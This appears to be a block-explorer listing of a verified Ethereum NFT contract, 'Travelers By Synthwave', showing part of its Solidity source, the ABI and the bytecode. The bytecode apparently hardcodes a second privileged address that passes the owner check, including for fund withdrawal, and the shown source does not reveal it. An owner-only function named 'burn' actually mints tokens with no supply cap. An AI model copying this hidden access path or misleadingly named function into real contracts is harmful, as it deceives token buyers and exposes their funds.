     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract TravelersBySynthwave is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://QmXHbaa9N2XnA486ePwYAXmKbNWcxudDLQc1H1XjpqdDcf/";
    uint   public price             = 0.005 ether;
    uint   public maxPerTx          = 5;
    uint   public maxPerFree        = 1;
    uint   public maxPerWallet      = 5;
    uint   public totalFree         = 100;
    uint   public maxSupply         = 500;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;
    mapping(address => uint256) public _totalMintedAmount;

    constructor() ERC721A("Travelers By Synthwave", "TBSW"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }
    

    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(_totalMintedAmount[msg.sender] + count <= maxPerWallet, "Exceed maximum NFTs per wallet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        require(msg.sender == tx.origin, "The minter is another contract");
        }
        _totalMintedAmount[msg.sender] += count;
        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function burn(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function toggleMinting() external onlyOwner {
      mintEnabled = !mintEnabled;
    }
    
    function CommunityWallet(uint quantity, address user)
    public
    onlyOwner
  {
    require(
      quantity > 0,
      "Invalid mint amount"
    );
    require(
      totalSupply() + quantity <= maxSupply,
      "Maximum supply exceeded"
    );
    _safeMint(user, quantity);
  }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"CommunityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_totalMintedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleMinting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

600880546001600160a01b0319167347e628c771a725a3109158a2bff56adcd6831a5f17905560e060405260366080818152906200293460a03980516200004f91600a916020909101906200017d565b506611c37937e08000600b556005600c556001600d556005600e556064600f556101f460105560006012553480156200008757600080fd5b50604080518082018252601681527f54726176656c6572732042792053796e746877617665000000000000000000006020808301918252835180850190945260048452635442535760e01b908401528151919291620000e9916001916200017d565b508051620000ff9060029060208401906200017d565b5050506200011c620001166200012760201b60201c565b6200012b565b600160095562000260565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8280546200018b9062000223565b90600052602060002090601f016020900481019282620001af5760008555620001fa565b82601f10620001ca57805160ff1916838001178555620001fa565b82800160010185558215620001fa579182015b82811115620001fa578251825591602001919060010190620001dd565b50620002089291506200020c565b5090565b5b808211156200020857600081556001016200020d565b600181811c908216806200023857607f821691505b602082108114156200025a57634e487b7160e01b600052602260045260246000fd5b50919050565b6126c480620002706000396000f3fe6080604052600436106102465760003560e01c80638da5cb5b11610139578063b88d4fde116100b6578063dad7b5c91161007a578063dad7b5c914610658578063e945971c1461066e578063e985e9c51461068e578063f2fde38b146106d7578063f4db2acb146106f7578063f968adbe1461072457600080fd5b8063b88d4fde146105d2578063c7c39ffc146105f2578063c87b56dd14610608578063d123973014610628578063d5abeb011461064257600080fd5b8063a0712d68116100fd578063a0712d681461054a578063a0bcfc7f1461055d578063a22cb4651461057d578063a70273571461059d578063b0e77f42146105b257600080fd5b80638da5cb5b146104c157806391b7f5ed146104df57806395d89b41146104ff5780639dc29fac14610514578063a035b1fe1461053457600080fd5b806342842e0e116101c757806364b721881161018b57806364b721881461044d5780636c0360eb1461046257806370a0823114610477578063715018a6146104975780637d55094d146104ac57600080fd5b806342842e0e146103b7578063453c2310146103d75780634f6ccce7146103ed5780635a963f1b1461040d5780636352211e1461042d57600080fd5b806318160ddd1161020e57806318160ddd1461033757806323b872dd1461034c5780632f745c591461036c578063333e44e61461038c5780633ccfd60b146103a257600080fd5b806301ffc9a71461024b57806306fdde0314610280578063081812fc146102a2578063095ea7b3146102da57806311b01a32146102fc575b600080fd5b34801561025757600080fd5b5061026b61026636600461213e565b61073a565b60405190151581526020015b60405180910390f35b34801561028c57600080fd5b506102956107a7565b60405161027791906121b3565b3480156102ae57600080fd5b506102c26102bd3660046121c6565b610839565b6040516001600160a01b039091168152602001610277565b3480156102e657600080fd5b506102fa6102f53660046121fb565b6108c9565b005b34801561030857600080fd5b50610329610317366004612225565b60146020526000908152604090205481565b604051908152602001610277565b34801561034357600080fd5b50600054610329565b34801561035857600080fd5b506102fa610367366004612240565b6109e1565b34801561037857600080fd5b506103296103873660046121fb565b6109ec565b34801561039857600080fd5b50610329600f5481565b3480156103ae57600080fd5b506102fa610b49565b3480156103c357600080fd5b506102fa6103d2366004612240565b610c73565b3480156103e357600080fd5b50610329600e5481565b3480156103f957600080fd5b506103296104083660046121c6565b610c8e565b34801561041957600080fd5b506102fa6104283660046121c6565b610cf0565b34801561043957600080fd5b506102c26104483660046121c6565b610d34565b34801561045957600080fd5b50600b54610329565b34801561046e57600080fd5b50610295610d46565b34801561048357600080fd5b50610329610492366004612225565b610dd4565b3480156104a357600080fd5b506102fa610e65565b3480156104b857600080fd5b506102fa610eb0565b3480156104cd57600080fd5b506007546001600160a01b03166102c2565b3480156104eb57600080fd5b506102fa6104fa3660046121c6565b610f03565b34801561050b57600080fd5b50610295610f47565b34801561052057600080fd5b506102fa61052f3660046121fb565b610f56565b34801561054057600080fd5b50610329600b5481565b6102fa6105583660046121c6565b610fa3565b34801561056957600080fd5b506102fa610578366004612308565b61142e565b34801561058957600080fd5b506102fa610598366004612351565b611480565b3480156105a957600080fd5b50600d54610329565b3480156105be57600080fd5b506102fa6105cd36600461238d565b611545565b3480156105de57600080fd5b506102fa6105ed3660046123b9565b611639565b3480156105fe57600080fd5b50610329600d5481565b34801561061457600080fd5b506102956106233660046121c6565b611672565b34801561063457600080fd5b5060115461026b9060ff1681565b34801561064e57600080fd5b5061032960105481565b34801561066457600080fd5b5061032960125481565b34801561067a57600080fd5b506102fa6106893660046121c6565b611749565b34801561069a57600080fd5b5061026b6106a9366004612435565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156106e357600080fd5b506102fa6106f2366004612225565b61178d565b34801561070357600080fd5b50610329610712366004612225565b60136020526000908152604090205481565b34801561073057600080fd5b50610329600c5481565b60006001600160e01b031982166380ac58cd60e01b148061076b57506001600160e01b03198216635b5e139f60e01b145b8061078657506001600160e01b0319821663780e9d6360e01b145b806107a157506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600180546107b69061245f565b80601f01602080910402602001604051908101604052809291908181526020018280546107e29061245f565b801561082f5780601f106108045761010080835404028352916020019161082f565b820191906000526020600020905b81548152906001019060200180831161081257829003601f168201915b5050505050905090565b6000610846826000541190565b6108ad5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006108d482610d34565b9050806001600160a01b0316836001600160a01b031614156109435760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b60648201526084016108a4565b336001600160a01b038216148061095f575061095f81336106a9565b6109d15760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c0000000000000060648201526084016108a4565b6109dc83838361183d565b505050565b6109dc838383611899565b60006109f783610dd4565b8210610a505760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016108a4565b600080549080805b83811015610ae9576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610aab57805192505b876001600160a01b0316836001600160a01b03161415610ae05786841415610ad9575093506107a192505050565b6001909301925b50600101610a58565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b60648201526084016108a4565b6007546001600160a01b0316331480610b6c57506008546001600160a01b031633145b610b885760405162461bcd60e51b81526004016108a49061249a565b60026009541415610bdb5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108a4565b6002600955604051600090339047908381818185875af1925050503d8060008114610c22576040519150601f19603f3d011682016040523d82523d6000602084013e610c27565b606091505b5050905080610c6b5760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b60448201526064016108a4565b506001600955565b6109dc83838360405180602001604052806000815250611639565b600080548210610cec5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b60648201526084016108a4565b5090565b6007546001600160a01b0316331480610d1357506008546001600160a01b031633145b610d2f5760405162461bcd60e51b81526004016108a49061249a565b600f55565b6000610d3f82611b7e565b5192915050565b600a8054610d539061245f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7f9061245f565b8015610dcc5780601f10610da157610100808354040283529160200191610dcc565b820191906000526020600020905b815481529060010190602001808311610daf57829003601f168201915b505050505081565b60006001600160a01b038216610e405760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084016108a4565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6007546001600160a01b0316331480610e8857506008546001600160a01b031633145b610ea45760405162461bcd60e51b81526004016108a49061249a565b610eae6000611c55565b565b6007546001600160a01b0316331480610ed357506008546001600160a01b031633145b610eef5760405162461bcd60e51b81526004016108a49061249a565b6011805460ff19811660ff90911615179055565b6007546001600160a01b0316331480610f2657506008546001600160a01b031633145b610f425760405162461bcd60e51b81526004016108a49061249a565b600b55565b6060600280546107b69061245f565b6007546001600160a01b0316331480610f7957506008546001600160a01b031633145b610f955760405162461bcd60e51b81526004016108a49061249a565b610f9f8282611ca7565b5050565b600b54600f54600090610fb79060016124e5565b83601254610fc591906124e5565b108015610fe25750600d5433600090815260136020526040902054105b9050801561120b5760115460ff166110335760405162461bcd60e51b8152602060048201526014602482015273135a5b9d081a5cc81b9bdd081b1a5d99481e595d60621b60448201526064016108a4565b6010548361104060005490565b61104a91906124e5565b11156110825760405162461bcd60e51b81526020600482015260076024820152664e6f206d6f726560c81b60448201526064016108a4565b600c548311156110ca5760405162461bcd60e51b815260206004820152601360248201527226b0bc103832b9102a2c103932b0b1b432b21760691b60448201526064016108a4565b33600090815260136020526040902054600d546110e791906124fd565b83106111aa5733600090815260136020526040902054600d54839161110b916124fd565b6111159190612514565b61111f8385612514565b61112991906124fd565b3410156111785760405162461bcd60e51b815260206004820181905260248201527f506c656173652073656e64207468652065786163742045544820616d6f756e7460448201526064016108a4565b600d543360009081526013602052604081208290556012805490919061119f9084906124e5565b909155506113ff9050565b33600090815260136020526040902054600d546111c791906124fd565b8310156112065733600090815260136020526040812080548592906111ed9084906124e5565b92505081905550826012600082825461119f91906124e5565b6113ff565b60115460ff166112545760405162461bcd60e51b8152602060048201526014602482015273135a5b9d081a5cc81b9bdd081b1a5d99481e595d60621b60448201526064016108a4565b600e54336000908152601460205260409020546112729085906124e5565b11156112c05760405162461bcd60e51b815260206004820152601e60248201527f457863656564206d6178696d756d204e465473207065722077616c6c6574000060448201526064016108a4565b6112ca8284612514565b3410156113195760405162461bcd60e51b815260206004820181905260248201527f506c656173652073656e64207468652065786163742045544820616d6f756e7460448201526064016108a4565b6010548361132660005490565b61133091906124e5565b11156113685760405162461bcd60e51b81526020600482015260076024820152664e6f206d6f726560c81b60448201526064016108a4565b600c548311156113b05760405162461bcd60e51b815260206004820152601360248201527226b0bc103832b9102a2c103932b0b1b432b21760691b60448201526064016108a4565b3332146113ff5760405162461bcd60e51b815260206004820152601e60248201527f546865206d696e74657220697320616e6f7468657220636f6e7472616374000060448201526064016108a4565b336000908152601460205260408120805485929061141e9084906124e5565b909155506109dc90503384611ca7565b6007546001600160a01b031633148061145157506008546001600160a01b031633145b61146d5760405162461bcd60e51b81526004016108a49061249a565b8051610f9f90600a906020840190612098565b6001600160a01b0382163314156114d95760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c657200000000000060448201526064016108a4565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6007546001600160a01b031633148061156857506008546001600160a01b031633145b6115845760405162461bcd60e51b81526004016108a49061249a565b600082116115ca5760405162461bcd60e51b8152602060048201526013602482015272125b9d985b1a59081b5a5b9d08185b5bdd5b9d606a1b60448201526064016108a4565b601054826115d760005490565b6115e191906124e5565b111561162f5760405162461bcd60e51b815260206004820152601760248201527f4d6178696d756d20737570706c7920657863656564656400000000000000000060448201526064016108a4565b610f9f8183611ca7565b611644848484611899565b61165084848484611cc1565b61166c5760405162461bcd60e51b81526004016108a490612533565b50505050565b606061167f826000541190565b6116e35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108a4565b60006116ed611dc0565b9050600081511161170d5760405180602001604052806000815250611742565b8061172161171c8560016124e5565b611dcf565b604051602001611732929190612586565b6040516020818303038152906040525b9392505050565b6007546001600160a01b031633148061176c57506008546001600160a01b031633145b6117885760405162461bcd60e51b81526004016108a49061249a565b600d55565b6007546001600160a01b03163314806117b057506008546001600160a01b031633145b6117cc5760405162461bcd60e51b81526004016108a49061249a565b6001600160a01b0381166118315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108a4565b61183a81611c55565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006118a482611b7e565b80519091506000906001600160a01b0316336001600160a01b031614806118db5750336118d084610839565b6001600160a01b0316145b806118ed575081516118ed90336106a9565b9050806119575760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b60648201526084016108a4565b846001600160a01b031682600001516001600160a01b0316146119cb5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b60648201526084016108a4565b6001600160a01b038416611a2f5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016108a4565b611a3f600084846000015161183d565b6001600160a01b03858116600090815260046020908152604080832080546001600160801b03198082166001600160801b03928316600019018316179092558986168086528386208054938416938316600190810190931693909317909255888552600390935281842080546001600160e01b031916909117600160a01b4267ffffffffffffffff1602179055908601808352912054909116611b3457611ae7816000541190565b15611b34578251600082815260036020908152604090912080549186015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b6040805180820190915260008082526020820152611b9d826000541190565b611bfc5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b60648201526084016108a4565b815b6000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611c4b579392505050565b5060001901611bfe565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610f9f828260405180602001604052806000815250611ecd565b60006001600160a01b0384163b15611db457604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611d059033908990889088906004016125c5565b6020604051808303816000875af1925050508015611d40575060408051601f3d908101601f19168201909252611d3d91810190612602565b60015b611d9a573d808015611d6e576040519150601f19603f3d011682016040523d82523d6000602084013e611d73565b606091505b508051611d925760405162461bcd60e51b81526004016108a490612533565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611db8565b5060015b949350505050565b6060600a80546107b69061245f565b606081611df35750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611e1d5780611e078161261f565b9150611e169050600a83612650565b9150611df7565b60008167ffffffffffffffff811115611e3857611e3861227c565b6040519080825280601f01601f191660200182016040528015611e62576020820181803683370190505b5090505b8415611db857611e776001836124fd565b9150611e84600a86612664565b611e8f9060306124e5565b60f81b818381518110611ea457611ea4612678565b60200101906001600160f81b031916908160001a905350611ec6600a86612650565b9450611e66565b6109dc83838360016000546001600160a01b038516611f385760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016108a4565b83611f965760405162461bcd60e51b815260206004820152602860248201527f455243373231413a207175616e74697479206d75737420626520677265617465604482015267072207468616e20360c41b60648201526084016108a4565b6001600160a01b03851660008181526004602090815260408083208054600160801b6001600160801b031982166001600160801b039283168c01831690811782900483168c01909216021790558483526003909152812080546001600160e01b031916909217600160a01b4267ffffffffffffffff16021790915581905b8581101561208f5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48315612083576120676000888488611cc1565b6120835760405162461bcd60e51b81526004016108a490612533565b60019182019101612014565b50600055611b77565b8280546120a49061245f565b90600052602060002090601f0160209004810192826120c6576000855561210c565b82601f106120df57805160ff191683800117855561210c565b8280016001018555821561210c579182015b8281111561210c5782518255916020019190600101906120f1565b50610cec9291505b80821115610cec5760008155600101612114565b6001600160e01b03198116811461183a57600080fd5b60006020828403121561215057600080fd5b813561174281612128565b60005b8381101561217657818101518382015260200161215e565b8381111561166c5750506000910152565b6000815180845261219f81602086016020860161215b565b601f01601f19169290920160200192915050565b6020815260006117426020830184612187565b6000602082840312156121d857600080fd5b5035919050565b80356001600160a01b03811681146121f657600080fd5b919050565b6000806040838503121561220e57600080fd5b612217836121df565b946020939093013593505050565b60006020828403121561223757600080fd5b611742826121df565b60008060006060848603121561225557600080fd5b61225e846121df565b925061226c602085016121df565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156122ad576122ad61227c565b604051601f8501601f19908116603f011681019082821181831017156122d5576122d561227c565b816040528093508581528686860111156122ee57600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561231a57600080fd5b813567ffffffffffffffff81111561233157600080fd5b8201601f8101841361234257600080fd5b611db884823560208401612292565b6000806040838503121561236457600080fd5b61236d836121df565b91506020830135801515811461238257600080fd5b809150509250929050565b600080604083850312156123a057600080fd5b823591506123b0602084016121df565b90509250929050565b600080600080608085870312156123cf57600080fd5b6123d8856121df565b93506123e6602086016121df565b925060408501359150606085013567ffffffffffffffff81111561240957600080fd5b8501601f8101871361241a57600080fd5b61242987823560208401612292565b91505092959194509250565b6000806040838503121561244857600080fd5b612451836121df565b91506123b0602084016121df565b600181811c9082168061247357607f821691505b6020821081141561249457634e487b7160e01b60005260226004526024